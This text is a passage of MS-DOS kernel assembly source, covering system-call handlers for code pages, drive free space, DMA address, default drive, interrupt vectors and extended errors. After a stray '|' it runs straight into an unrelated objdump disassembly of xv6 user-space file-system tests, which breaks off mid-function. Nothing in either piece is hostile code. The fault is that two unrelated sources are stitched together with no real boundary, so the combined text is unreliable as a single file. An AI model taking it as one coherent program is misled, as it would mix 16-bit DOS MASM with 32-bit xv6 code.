MOV BX,OFFSET DOSDATA:FILE_UCASE_TAB+2 ; get file upper case
capit: ;
CMP AL,CAP_ONE_CHAR ; cap one char ?
JNZ chkyes ; no
MOV AL,DL ; set up AL
invoke GETLET3 ; upper case it
call get_user_stack ; get user stack
MOV byte ptr [SI.user_DX],AL; user's DL=AL
JMP SHORT nono ; done
chkyes: ;
CMP AL,CHECK_YES_NO ; check YES or NO ?
JNZ capstring ; no
XOR AX,AX ; presume NO
IFDEF DBCS ;
PUSH AX ;
MOV AL,DL ;
invoke TESTKANJ ; DBCS ?
POP AX ;
JNZ dbcs_char ; yes, return error
ENDIF ;
;hkn; NLS_YES, NLS_NO, NLS_yes2, NLS_no2 is defined in msdos.cl3 which is
;hkn; included in yesno.asm in the DOSCODE segment.
CMP DL,cs:NLS_YES ; is 'Y' ?
JZ yesyes ; yes
CMP DL,cs:NLS_yes2 ; is 'y' ?
JZ yesyes ; yes
CMP DL,cs:NLS_NO ; is 'N'?
JZ nono ; no
CMP DL,cs:NLS_no2 ; is 'n' ?
JZ nono ; no
dbcs_char: ;
INC AX ; not YES or NO
yesyes: ;
INC AX ; return 1
nono: ;
transfer SYS_RET_OK ; done
capstring: ;
MOV SI,DX ; si=dx
CMP AL,CAP_STRING ; cap string ?
JNZ capascii ; no
OR CX,CX ; check count 0
JZ nono ; yes finished
concap: ;
LODSB ; get char
IFDEF DBCS ;
invoke TESTKANJ ; DBCS ?
JZ notdbcs ; no
INC SI ; skip 2 chars
DEC CX ; bad input, one DBCS char at end
JNZ next99 ; yes
notdbcs: ;
ENDIF ;
invoke GETLET3 ; upper case it
MOV byte ptr [SI-1],AL ; store back
next99: ;
LOOP concap ; continue
JMP nono ; done
capascii: ;
CMP AL,CAP_ASCIIZ ; cap ASCIIZ string ?
JNZ capinval ; no
concap2: ;
LODSB ; get char
or al,al ; end of string ?
JZ nono ; yes
IFDEF DBCS ;
invoke TESTKANJ ; DBCS ?
JZ notdbcs2 ; no
CMP BYTE PTR [SI],0 ; bad input, one DBCS char at end
JZ nono ; yes
INC SI ; skip 2 chars
JMP concap2 ;
notdbcs2: ;
ENDIF ;
invoke GETLET3 ; upper case it
MOV byte ptr [SI-1],AL ; store back
JMP concap2 ; continue
notcap:
CMP CX,5 ; minimum size is 5
jb short sizeerror
GEC_CONT:
;hkn; SS is DOSDATA
context DS
;hkn; COUNTRY_CDPG is in DOSDATA
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG
CMP DX,-1 ; active country ?
JNZ GETCDPG ; no
;hkn; use DS override to accesss country_cdpg fields
MOV DX,[SI.ccDosCountry] ; get active country id;smr;use DS
GETCDPG:
CMP BX,-1 ; active code page?
JNZ CHKAGAIN ; no, check again
;hkn; use DS override to accesss country_cdpg fields
MOV BX,[SI.ccDosCodePage] ; get active code page id;smr;Use DS
CHKAGAIN:
CMP DX,[SI.ccDosCountry] ; same as active country id?;smr;use DS
JNZ CHKNLS ; no
CMP BX,[SI.ccDosCodePage] ; same as active code pg id?;smr;use DS
JNZ CHKNLS ; no
CHKTYPE:
MOV BX,[SI.ccSysCodePage] ; bx = sys code page id;smr;use DS
; CMP AL,SetALL ; select all?
; JNZ SELONE
; MOV SI,OFFSET DOSGROUP:COUNTRY_CDPG.ccNumber_of_entries
SELONE:
PUSH CX ; save cx
MOV CX,[SI.ccNumber_of_entries] ;smr;use DS
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG.ccSetUcase;smr;CDPG in DOSDATA
NXTENTRY:
CMP AL,[SI] ; compare info type;smr;use DS
JZ FOUNDIT
ADD SI,5 ; next entry
LOOP NXTENTRY
POP CX
capinval:
error error_Invalid_Function ; info type not found
FOUNDIT:
MOVSB ; move info id byte
POP CX ; retsore char count
CMP AL,SetCountryInfo ; select country info type ?
JZ setsize
MOV CX,4 ; 4 bytes will be moved
MOV AX,5 ; 5 bytes will be returned in CX
OK_RETN:
REP MOVSB ; copy info
MOV CX,AX ; CX = actual length returned
MOV AX,BX ; return sys code page in ax
GETDONE:
call get_user_stack ; return actual length to user's CX
MOV [SI.user_CX],CX
transfer SYS_RET_OK
setsize:
SUB CX,3 ; size after length field
CMP WORD PTR [SI],CX ; less than table size;smr;use ds
JAE setsize2 ; no
MOV CX,WORD PTR [SI] ; truncate to table size;smr;use ds
setsize2:
MOV ES:[DI],CX ; copy actual length to user's
ADD DI,2 ; update index
ADD SI,2
MOV AX,CX
ADD AX,3 ; AX has the actual length
JMP OK_RETN ; go move it
CHKNLS:
XOR AH,AH
PUSH AX ; save info type
POP BP ; bp = info type
CallInstall NLSInstall,NLSFUNC,0 ; check if NLSFUNC in memory
CMP AL,0FFH
JZ NLSNXT ; in memory
sizeerror:
error error_Invalid_Function
NLSNXT: CallInstall GetExtInfo,NLSFUNC,2 ;get extended info
CMP AL,0 ; success ?
JNZ NLSERROR
MOV AX,[SI.ccSysCodePage] ; ax = sys code page id;smr;use ds;BUGBUG;check whether DS is OK after the above calls
JMP GETDONE
NLSERROR:
transfer SYS_RET_ERR ; return what is got from NLSFUNC
EndProc $GetExtCntry
BREAK <$GetSetCdPg - get or set global code page>
;** $GetSetCdPg - Get or Set Global Code Page
;
; System call format:
;
; MOV AH,GetSetCdPg ; DOS 3.3
; MOV AL,n ; n = 1 : get code page, n = 2 : set code page
; MOV BX,CODE_PAGE ( set code page only)
; INT 21
;
; ENTRY (al) = n
; (bx) = code page
; EXIT 'C' clear
; global code page is set (set global code page)
; (BX) = active code page id (get global code page)
; (DX) = system code page id (get global code page)
; 'C' set
; (AX) = error code
procedure $GetSetCdPg,NEAR ; DOS 3.3
;hkn; SS is DOSDATA
context DS
;hkn; COUNTRY_CDPG is in DOSDATA
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG
CMP AL,1 ; get global code page
JNZ setglpg ; set global cod epage
MOV BX,[SI.ccDosCodePage] ; get active code page id;smr;use ds
MOV DX,[SI.ccSysCodePage] ; get sys code page id;smr;use ds
call get_user_stack
ASSUME DS:NOTHING
MOV [SI.user_BX],BX ; update returned bx
MOV [SI.user_DX],DX ; update returned dx
OK_RETURN:
transfer SYS_RET_OK
;hkn; ASSUME DS:DOSGROUP
ASSUME DS:DOSDATA
setglpg:
CMP AL,2
JNZ nomem
;;;;;;; CMP BX,[SI.ccDosCodePage] ; same as active code page
;;;;;;; JZ OK_RETURN ; yes
MOV DX,[SI.ccDosCountry] ;smr;use ds
CallInstall NLSInstall,NLSFUNC,0 ; check if NLSFUNC in memory
CMP AL,0FFH
JNZ nomem ; not in memory
CallInstall SetCodePage,NLSFUNC,1 ;set the code page
or al,al ; success ?
JZ OK_RETURN ; yes
CMP AL,65 ; set device code page failed
JNZ seterr
MOV AX,65
MOV [EXTERR],AX
MOV [EXTERR_ACTION],errACT_Ignore
MOV [EXTERR_CLASS],errCLASS_HrdFail
MOV [EXTERR_LOCUS],errLOC_SerDev
transfer From_GetSet
seterr:
transfer SYS_RET_ERR
nomem:
error error_Invalid_Function ; function not defined
;
EndProc $GetSetCdPg
BREAK <$Get_Drive_Freespace -- Return bytes of free disk space on a drive>
;** $Get_Drive_Freespace - Return amount of drive free space
;
; $Get_Drive_Freespace returns the # of free allocation units on a
; drive.
;
; This call returns the same info in the same registers (except for the
; FAT pointer) as the old FAT pointer calls
;
; ENTRY DL = Drive number
; EXIT AX = Sectors per allocation unit
; = -1 if bad drive specified
; On User Stack
; BX = Number of free allocation units
; DX = Total Number of allocation units on disk
; CX = Sector size
procedure $GET_DRIVE_FREESPACE,NEAR
;hkn; SS is DOSDATA
context DS
MOV AL,DL
invoke GetThisDrv ; Get drive
SET_AX_RET:
JC BADFDRV
invoke DISK_INFO
XCHG DX,BX
JC SET_AX_RET ; User FAILed to I 24
XOR AH,AH ; Chuck Fat ID byte
DoSt:
call get_user_stack
ASSUME DS:NOTHING
MOV [SI.user_DX],DX
MOV [SI.user_CX],CX
MOV [SI.user_BX],BX
MOV [SI.user_AX],AX
return
BADFDRV:
; MOV AL,error_invalid_drive ; Assume error
invoke FCB_RET_ERR
MOV AX,-1
JMP DoSt
EndProc $GET_DRIVE_FREESPACE
BREAK <$Get_DMA, $Set_DMA -- Get/Set current DMA address>
;** $Get_DMA - Get Disk Transfer Address
;
; ENTRY none
; EXIT ES:BX is current transfer address
; USES all
procedure $GET_DMA,NEAR
;hkn; ss override for DMAADD
MOV BX,WORD PTR [DMAADD]
MOV CX,WORD PTR [DMAADD+2]
call get_user_stack
ASSUME DS:nothing
MOV [SI.user_BX],BX
MOV [SI.user_ES],CX
return
EndProc $GET_DMA
;** $Set_DMA - Set Disk Transfer Address
;
; ENTRY DS:DX is current transfer address
; EXIT none
; USES all
procedure $SET_DMA,NEAR
;hkn; ss override for DMAADD
MOV WORD PTR [DMAADD],DX
MOV WORD PTR [DMAADD+2],DS
return
EndProc $SET_DMA
BREAK <$Get_Default_Drive, $Set_Default_Drive -- Set/Get default drive>
;** $Get_Default_Drive - Get Current Default Drive
;
; ENTRY none
; EXIT (AL) = drive number
; USES all
procedure $GET_DEFAULT_DRIVE,NEAR
;hkn; SS override
MOV AL,[CURDRV]
return
EndProc $GET_DEFAULT_DRIVE
;** $Set_Default_Drive - Specify new Default Drive
;
; $Set_Default_Drive sets a new default drive.
;
; ENTRY (DL) = Drive number for new default drive
; EXIT (AL) = Number of drives, NO ERROR RETURN IF DRIVE NUMBER BAD
procedure $SET_DEFAULT_DRIVE,NEAR
MOV AL,DL
INC AL ; A=1, b=2...
invoke GetVisDrv ; see if visible drive
JC SETRET ; errors do not set
; LDS SI,ThisCDS ; get CDS
; TEST [SI].curdir_flags,curdir_splice ; was it spliced?
; JNZ SetRet ; yes, do not set
;hkn; SS override
MOV [CURDRV],AL ; no, set
SETRET:
;hkn; SS override
MOV AL,[CDSCOUNT] ; let user see what the count really is
return
EndProc $SET_DEFAULT_DRIVE
BREAK <$Get/Set_Interrupt_Vector - Get/Set interrupt vectors>
;** $Get_Interrupt_Vector - Get Interrupt Vector
;
; $Get_Interrupt_Vector is the official way for user pgms to get the
; contents of an interrupt vector.
;
; ENTRY (AL) = interrupt number
; EXIT (ES:BX) = current interrupt vector
procedure $GET_INTERRUPT_VECTOR,NEAR
CALL RECSET
LES BX,DWORD PTR ES:[BX]
call get_user_stack
MOV [SI.user_BX],BX
MOV [SI.user_ES],ES
return
EndProc $GET_INTERRUPT_VECTOR
;** $Set_Interrupt_Vector - Set Interrupt Vector
;
; $Set_Interrupt_Vector is the official way for user pgms to set the
; contents of an interrupt vector.
;
; M004, M068: Also set A20OFF_COUNT to 1 if EXECA20OFF bit has been set
; and if A20OFF_COUNT is non-zero. See under tag M003 in inc\dossym.inc
; for explanation.
;
; ENTRY (AL) = interrupt number
; (ds:dx) = desired new vector value
; EXIT none
; USES all
procedure $SET_INTERRUPT_VECTOR,NEAR
CALL RECSET
CLI ; Watch out!!!!! Folks sometimes use
MOV ES:[BX],DX ; this for hardware ints (like timer).
MOV ES:[BX+2],DS
STI
; M004, M068 - Start
test [DOS_FLAG], EXECA20OFF
; Q: was the previous call an int 21
; exec call
jnz @f ; Y: go set count
return ; N: return
@@:
cmp [A20OFF_COUNT], 0 ; Q: is count 0
jne @f ; N: done
mov [A20OFF_COUNT], 1 ; Y: set it to 1 to indicate to dos
; dispatcher to turn A20 Off before
; returning to user.
@@:
ret ; M004, M068 - End
EndProc $SET_INTERRUPT_VECTOR
;hkn; Moved the TABLE segment to DOSDATA in msdata.inc
; IF ALTVECT
;TABLE SEGMENT
;VECIN:
;; INPUT VECTORS
;Public GSET001S,GSET001E
;GSET001S label byte
; DB 22H ; Terminate
; DB 23H ; ^C
; DB 24H ; Hard error
; DB 28H ; Spooler
;LSTVEC DB ? ; ALL OTHER
;
;VECOUT:
;; GET MAPPED VECTOR
; DB int_terminate
; DB int_ctrl_c
; DB int_fatal_abort
; DB int_spooler
;LSTVEC2 DB ? ; Map to itself
;
;NUMVEC = VECOUT-VECIN
;GSET001E label byte
;TABLE ENDS
; ENDIF
procedure RECSET,NEAR
IF ALTVECT
context ES
;hkn; SS override for LSTVEC and LSTVEC2
MOV [LSTVEC],AL ; Terminate list with real vector
MOV [LSTVEC2],AL ; Terminate list with real vector
MOV CX,NUMVEC ; Number of possible translations
;hkn; VECIN is in DOSDATA
MOV DI,OFFSET DOSDATA:VECIN ; Point to vectors
REPNE SCASB
MOV AL,ES:[DI+NUMVEC-1] ; Get translation
ENDIF
XOR BX,BX
MOV ES,BX
MOV BL,AL
SHL BX,1
SHL BX,1
return
EndProc recset
BREAK <$Char_Oper - hack on paths, switches so that xenix can look like PCDOS>
;** $Char_Oper - Manipulate Switch Character
;
; This function was put in to facilitate XENIX path/switch compatibility
;
; ENTRY AL = function:
; 0 - read switch char
; 1 - set switch char (char in DL)
; 2 - read device availability
; Always returns available
; 3 - set device availability
; No longer supported (NOP)
; EXIT (al) = 0xff iff error
; (al) != 0xff if ok
; (dl) = character/flag, iff "read switch char" subfunction
; USES AL, DL
;
; NOTE This already obsolete function has been deactivated in DOS 5.0
; The character / is always returned for subfunction 0,
; subfunction 2 always returns -1, all other subfunctions are ignored.
procedure $CHAR_OPER,NEAR
or al,al ; get switch?
mov dl,'/' ; assume yes
jz chop_1 ; jump if yes
cmp al,2 ; check device availability?
mov dl,-1 ; assume yes
jz chop_1 ; jump if yes
return ; otherwise just quit
; subfunctions requiring return of value to user come here. DL holds
; value to return
chop_1:
call Get_User_Stack
ASSUME DS:Nothing
mov [si].User_DX,dx ; store value for user
return
EndProc $CHAR_OPER
BREAK <$GetExtendedError - Return Extended DOS error code>
;** $GetExtendedError - Return Extended error code
;
; This function reads up the extended error info from the static
; variables where it was stored.
;
; ENTRY none
; EXIT AX = Extended error code (0 means no extended error)
; BL = recommended action
; BH = class of error
; CH = locus of error
; ES:DI = may be pointer
; USES ALL
procedure $GetExtendedError,NEAR
;hkn; SS is DOSDATA
Context DS
MOV AX,[EXTERR]
LES DI,[EXTERRPT]
MOV BX,WORD PTR [EXTERR_ACTION] ; BL = Action, BH = Class
MOV CH,[EXTERR_LOCUS]
call get_user_stack
ASSUME DS:NOTHING
MOV [SI.user_DI],DI
MOV [SI.user_ES],ES
MOV [SI.user_BX],BX
MOV [SI.user_CX],CX
transfer SYS_RET_OK
EndProc $GetExtendedError
BREAK <$Get_Global_CdPg - Return Global Code Page>
;---------------------------------------------------------------------------
;
; input: None
; output: AX = Global Code Page
;
;---------------------------------------------------------------------------
Procedure Get_Global_CdPg,NEAR
PUSH SI
;hkn; COUNTRY_CDPG is in DOSDATA
MOV SI,OFFSET DOSDATA:COUNTRY_CDPG
MOV AX,SS:[SI.ccDosCodePage] ;smr;CS->SS
POP SI
return
EndProc Get_Global_CdPg
;-------------------------------Start of DBCS 2/13/KK
BREAK <ECS_call - Extended Code System support function>
;---------------------------------------------------------------------------
; Inputs:
; AL = 0 get lead byte table
; on return DS:SI has the table location
;
; AL = 1 set / reset interim console flag
; DL = flag (00H or 01H)
; no return
;
; AL = 2 get interim console flag
; on return DL = current flag value
;
; AL = OTHER then error, and returns with:
; AX = error_invalid_function
;
; NOTE: THIS CALL DOES GUARANTEE THAT REGISTER OTHER THAN
; SS:SP WILL BE PRESERVED!
;---------------------------------------------------------------------------
procedure $ECS_call,NEAR
IFDEF DBCS ;AN000;
;AN000;
or al, al ; AL = 0 (get table)? ;AN000;
je get_lbt ;AN000;
cmp al, SetInterimMode ; AL = 1 (set / reset interim flag)? ;AN000;
je set_interim ;AN000;
cmp al, GetInterimMode ; AL = 2 (get interim flag)? ;AN000;
je get_interim ;AN000;
error error_invalid_function ;AN000;
;AN000;
get_lbt: ; get lead byte table ;AN000;
push ax ;AN000;
push bx ;AN000;
push ds ;AN000;
;hkn; SS is DOSDATA
context DS ;AN000;
MOV BX,offset DOSDATA:COUNTRY_CDPG.ccSetDBCS ;AN000;
MOV AX,[BX+1] ; set EV address to DS:SI ;AN000;smr;use ds
MOV BX,[BX+3] ;AN000;smr;use ds
ADD AX,2 ; Skip Lemgth ;AN000;
call get_user_stack ;AN000;
assume ds:nothing ;AN000;
MOV [SI.user_SI], AX ;AN000;
MOV [SI.user_DS], BX ;AN000;
pop ds ;AN000;
pop bx ;AN000;
pop ax ;AN000;
transfer SYS_RET_OK ;AN000;
set_interim: ; Set interim console flag ;AN000;
push dx ;AN000;
and dl,01 ; isolate bit 1 ;AN000;
;hkn; SS override
mov [InterCon], dl ;AN000;
push ds
;hkn; SS override
mov ds, [CurrentPDB] ;AN000;
mov byte ptr ds:[PDB_InterCon], dl ; update value in pdb ;AN000;
pop ds ;AN000;
pop dx ;AN000;
transfer SYS_RET_OK ;AN000;
get_interim: ;AN000;
push dx ;AN000;
push ds ;AN000;
;hkn; SS override
mov dl,[InterCon] ;AN000;
call get_user_stack ; get interim console flag ;AN000;
assume ds:nothing ;AN000;
mov [SI.user_DX],DX ;AN000;
pop ds ;AN000;
pop dx ;AN000;
transfer SYS_RET_OK ;AN000;
ELSE ;AN000;
or al, al ; AL = 0 (get table)?
jnz okok
get_lbt:
call get_user_stack
assume ds:nothing
;hkn; dbcs_table moved low to dosdata
MOV [SI.user_SI], Offset DOSDATA:DBCS_TAB+2
push es
getdseg <es> ; es = DOSDATA
assume es:nothing
MOV [SI.user_DS], es
pop es
okok:
transfer SYS_RET_OK ;
ENDIF
$ECS_call endp
DOSCODE ENDS
END
|
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <iputtest>:
int stdout = 1;
// does chdir() call iput(p->cwd) in a transaction?
void
iputtest(void)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
printf(stdout, "iput test\n");
6: a1 c4 62 00 00 mov 0x62c4,%eax
b: c7 44 24 04 1a 44 00 movl $0x441a,0x4(%esp)
12: 00
13: 89 04 24 mov %eax,(%esp)
16: e8 1a 40 00 00 call 4035 <printf>
if(mkdir("iputdir") < 0){
1b: c7 04 24 25 44 00 00 movl $0x4425,(%esp)
22: e8 f6 3e 00 00 call 3f1d <mkdir>
27: 85 c0 test %eax,%eax
29: 79 1a jns 45 <iputtest+0x45>
printf(stdout, "mkdir failed\n");
2b: a1 c4 62 00 00 mov 0x62c4,%eax
30: c7 44 24 04 2d 44 00 movl $0x442d,0x4(%esp)
37: 00
38: 89 04 24 mov %eax,(%esp)
3b: e8 f5 3f 00 00 call 4035 <printf>
exit();
40: e8 70 3e 00 00 call 3eb5 <exit>
}
if(chdir("iputdir") < 0){
45: c7 04 24 25 44 00 00 movl $0x4425,(%esp)
4c: e8 d4 3e 00 00 call 3f25 <chdir>
51: 85 c0 test %eax,%eax
53: 79 1a jns 6f <iputtest+0x6f>
printf(stdout, "chdir iputdir failed\n");
55: a1 c4 62 00 00 mov 0x62c4,%eax
5a: c7 44 24 04 3b 44 00 movl $0x443b,0x4(%esp)
61: 00
62: 89 04 24 mov %eax,(%esp)
65: e8 cb 3f 00 00 call 4035 <printf>
exit();
6a: e8 46 3e 00 00 call 3eb5 <exit>
}
if(unlink("../iputdir") < 0){
6f: c7 04 24 51 44 00 00 movl $0x4451,(%esp)
76: e8 8a 3e 00 00 call 3f05 <unlink>
7b: 85 c0 test %eax,%eax
7d: 79 1a jns 99 <iputtest+0x99>
printf(stdout, "unlink ../iputdir failed\n");
7f: a1 c4 62 00 00 mov 0x62c4,%eax
84: c7 44 24 04 5c 44 00 movl $0x445c,0x4(%esp)
8b: 00
8c: 89 04 24 mov %eax,(%esp)
8f: e8 a1 3f 00 00 call 4035 <printf>
exit();
94: e8 1c 3e 00 00 call 3eb5 <exit>
}
if(chdir("/") < 0){
99: c7 04 24 76 44 00 00 movl $0x4476,(%esp)
a0: e8 80 3e 00 00 call 3f25 <chdir>
a5: 85 c0 test %eax,%eax
a7: 79 1a jns c3 <iputtest+0xc3>
printf(stdout, "chdir / failed\n");
a9: a1 c4 62 00 00 mov 0x62c4,%eax
ae: c7 44 24 04 78 44 00 movl $0x4478,0x4(%esp)
b5: 00
b6: 89 04 24 mov %eax,(%esp)
b9: e8 77 3f 00 00 call 4035 <printf>
exit();
be: e8 f2 3d 00 00 call 3eb5 <exit>
}
printf(stdout, "iput test ok\n");
c3: a1 c4 62 00 00 mov 0x62c4,%eax
c8: c7 44 24 04 88 44 00 movl $0x4488,0x4(%esp)
cf: 00
d0: 89 04 24 mov %eax,(%esp)
d3: e8 5d 3f 00 00 call 4035 <printf>
}
d8: c9 leave
d9: c3 ret
000000da <exitiputtest>:
// does exit() call iput(p->cwd) in a transaction?
void
exitiputtest(void)
{
da: 55 push %ebp
db: 89 e5 mov %esp,%ebp
dd: 83 ec 28 sub $0x28,%esp
int pid;
printf(stdout, "exitiput test\n");
e0: a1 c4 62 00 00 mov 0x62c4,%eax
e5: c7 44 24 04 96 44 00 movl $0x4496,0x4(%esp)
ec: 00
ed: 89 04 24 mov %eax,(%esp)
f0: e8 40 3f 00 00 call 4035 <printf>
pid = fork();
f5: e8 b3 3d 00 00 call 3ead <fork>
fa: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid < 0){
fd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
101: 79 1a jns 11d <exitiputtest+0x43>
printf(stdout, "fork failed\n");
103: a1 c4 62 00 00 mov 0x62c4,%eax
108: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
10f: 00
110: 89 04 24 mov %eax,(%esp)
113: e8 1d 3f 00 00 call 4035 <printf>
exit();
118: e8 98 3d 00 00 call 3eb5 <exit>
}
if(pid == 0){
11d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
121: 0f 85 83 00 00 00 jne 1aa <exitiputtest+0xd0>
if(mkdir("iputdir") < 0){
127: c7 04 24 25 44 00 00 movl $0x4425,(%esp)
12e: e8 ea 3d 00 00 call 3f1d <mkdir>
133: 85 c0 test %eax,%eax
135: 79 1a jns 151 <exitiputtest+0x77>
printf(stdout, "mkdir failed\n");
137: a1 c4 62 00 00 mov 0x62c4,%eax
13c: c7 44 24 04 2d 44 00 movl $0x442d,0x4(%esp)
143: 00
144: 89 04 24 mov %eax,(%esp)
147: e8 e9 3e 00 00 call 4035 <printf>
exit();
14c: e8 64 3d 00 00 call 3eb5 <exit>
}
if(chdir("iputdir") < 0){
151: c7 04 24 25 44 00 00 movl $0x4425,(%esp)
158: e8 c8 3d 00 00 call 3f25 <chdir>
15d: 85 c0 test %eax,%eax
15f: 79 1a jns 17b <exitiputtest+0xa1>
printf(stdout, "child chdir failed\n");
161: a1 c4 62 00 00 mov 0x62c4,%eax
166: c7 44 24 04 b2 44 00 movl $0x44b2,0x4(%esp)
16d: 00
16e: 89 04 24 mov %eax,(%esp)
171: e8 bf 3e 00 00 call 4035 <printf>
exit();
176: e8 3a 3d 00 00 call 3eb5 <exit>
}
if(unlink("../iputdir") < 0){
17b: c7 04 24 51 44 00 00 movl $0x4451,(%esp)
182: e8 7e 3d 00 00 call 3f05 <unlink>
187: 85 c0 test %eax,%eax
189: 79 1a jns 1a5 <exitiputtest+0xcb>
printf(stdout, "unlink ../iputdir failed\n");
18b: a1 c4 62 00 00 mov 0x62c4,%eax
190: c7 44 24 04 5c 44 00 movl $0x445c,0x4(%esp)
197: 00
198: 89 04 24 mov %eax,(%esp)
19b: e8 95 3e 00 00 call 4035 <printf>
exit();
1a0: e8 10 3d 00 00 call 3eb5 <exit>
}
exit();
1a5: e8 0b 3d 00 00 call 3eb5 <exit>
}
wait();
1aa: e8 0e 3d 00 00 call 3ebd <wait>
printf(stdout, "exitiput test ok\n");
1af: a1 c4 62 00 00 mov 0x62c4,%eax
1b4: c7 44 24 04 c6 44 00 movl $0x44c6,0x4(%esp)
1bb: 00
1bc: 89 04 24 mov %eax,(%esp)
1bf: e8 71 3e 00 00 call 4035 <printf>
}
1c4: c9 leave
1c5: c3 ret
000001c6 <openiputtest>:
// for(i = 0; i < 10000; i++)
// yield();
// }
void
openiputtest(void)
{
1c6: 55 push %ebp
1c7: 89 e5 mov %esp,%ebp
1c9: 83 ec 28 sub $0x28,%esp
int pid;
printf(stdout, "openiput test\n");
1cc: a1 c4 62 00 00 mov 0x62c4,%eax
1d1: c7 44 24 04 d8 44 00 movl $0x44d8,0x4(%esp)
1d8: 00
1d9: 89 04 24 mov %eax,(%esp)
1dc: e8 54 3e 00 00 call 4035 <printf>
if(mkdir("oidir") < 0){
1e1: c7 04 24 e7 44 00 00 movl $0x44e7,(%esp)
1e8: e8 30 3d 00 00 call 3f1d <mkdir>
1ed: 85 c0 test %eax,%eax
1ef: 79 1a jns 20b <openiputtest+0x45>
printf(stdout, "mkdir oidir failed\n");
1f1: a1 c4 62 00 00 mov 0x62c4,%eax
1f6: c7 44 24 04 ed 44 00 movl $0x44ed,0x4(%esp)
1fd: 00
1fe: 89 04 24 mov %eax,(%esp)
201: e8 2f 3e 00 00 call 4035 <printf>
exit();
206: e8 aa 3c 00 00 call 3eb5 <exit>
}
pid = fork();
20b: e8 9d 3c 00 00 call 3ead <fork>
210: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid < 0){
213: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
217: 79 1a jns 233 <openiputtest+0x6d>
printf(stdout, "fork failed\n");
219: a1 c4 62 00 00 mov 0x62c4,%eax
21e: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
225: 00
226: 89 04 24 mov %eax,(%esp)
229: e8 07 3e 00 00 call 4035 <printf>
exit();
22e: e8 82 3c 00 00 call 3eb5 <exit>
}
if(pid == 0){
233: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
237: 75 3c jne 275 <openiputtest+0xaf>
int fd = open("oidir", O_RDWR);
239: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
240: 00
241: c7 04 24 e7 44 00 00 movl $0x44e7,(%esp)
248: e8 a8 3c 00 00 call 3ef5 <open>
24d: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0){
250: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
254: 78 1a js 270 <openiputtest+0xaa>
printf(stdout, "open directory for write succeeded\n");
256: a1 c4 62 00 00 mov 0x62c4,%eax
25b: c7 44 24 04 04 45 00 movl $0x4504,0x4(%esp)
262: 00
263: 89 04 24 mov %eax,(%esp)
266: e8 ca 3d 00 00 call 4035 <printf>
exit();
26b: e8 45 3c 00 00 call 3eb5 <exit>
}
exit();
270: e8 40 3c 00 00 call 3eb5 <exit>
}
sleep(1);
275: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27c: e8 c4 3c 00 00 call 3f45 <sleep>
if(unlink("oidir") != 0){
281: c7 04 24 e7 44 00 00 movl $0x44e7,(%esp)
288: e8 78 3c 00 00 call 3f05 <unlink>
28d: 85 c0 test %eax,%eax
28f: 74 1a je 2ab <openiputtest+0xe5>
printf(stdout, "unlink failed\n");
291: a1 c4 62 00 00 mov 0x62c4,%eax
296: c7 44 24 04 28 45 00 movl $0x4528,0x4(%esp)
29d: 00
29e: 89 04 24 mov %eax,(%esp)
2a1: e8 8f 3d 00 00 call 4035 <printf>
exit();
2a6: e8 0a 3c 00 00 call 3eb5 <exit>
}
wait();
2ab: e8 0d 3c 00 00 call 3ebd <wait>
printf(stdout, "openiput test ok\n");
2b0: a1 c4 62 00 00 mov 0x62c4,%eax
2b5: c7 44 24 04 37 45 00 movl $0x4537,0x4(%esp)
2bc: 00
2bd: 89 04 24 mov %eax,(%esp)
2c0: e8 70 3d 00 00 call 4035 <printf>
}
2c5: c9 leave
2c6: c3 ret
000002c7 <opentest>:
// simple file system tests
void
opentest(void)
{
2c7: 55 push %ebp
2c8: 89 e5 mov %esp,%ebp
2ca: 83 ec 28 sub $0x28,%esp
int fd;
printf(stdout, "open test\n");
2cd: a1 c4 62 00 00 mov 0x62c4,%eax
2d2: c7 44 24 04 49 45 00 movl $0x4549,0x4(%esp)
2d9: 00
2da: 89 04 24 mov %eax,(%esp)
2dd: e8 53 3d 00 00 call 4035 <printf>
fd = open("echo", 0);
2e2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2e9: 00
2ea: c7 04 24 04 44 00 00 movl $0x4404,(%esp)
2f1: e8 ff 3b 00 00 call 3ef5 <open>
2f6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2f9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2fd: 79 1a jns 319 <opentest+0x52>
printf(stdout, "open echo failed!\n");
2ff: a1 c4 62 00 00 mov 0x62c4,%eax
304: c7 44 24 04 54 45 00 movl $0x4554,0x4(%esp)
30b: 00
30c: 89 04 24 mov %eax,(%esp)
30f: e8 21 3d 00 00 call 4035 <printf>
exit();
314: e8 9c 3b 00 00 call 3eb5 <exit>
}
close(fd);
319: 8b 45 f4 mov -0xc(%ebp),%eax
31c: 89 04 24 mov %eax,(%esp)
31f: e8 b9 3b 00 00 call 3edd <close>
fd = open("doesnotexist", 0);
324: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
32b: 00
32c: c7 04 24 67 45 00 00 movl $0x4567,(%esp)
333: e8 bd 3b 00 00 call 3ef5 <open>
338: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
33b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
33f: 78 1a js 35b <opentest+0x94>
printf(stdout, "open doesnotexist succeeded!\n");
341: a1 c4 62 00 00 mov 0x62c4,%eax
346: c7 44 24 04 74 45 00 movl $0x4574,0x4(%esp)
34d: 00
34e: 89 04 24 mov %eax,(%esp)
351: e8 df 3c 00 00 call 4035 <printf>
exit();
356: e8 5a 3b 00 00 call 3eb5 <exit>
}
printf(stdout, "open test ok\n");
35b: a1 c4 62 00 00 mov 0x62c4,%eax
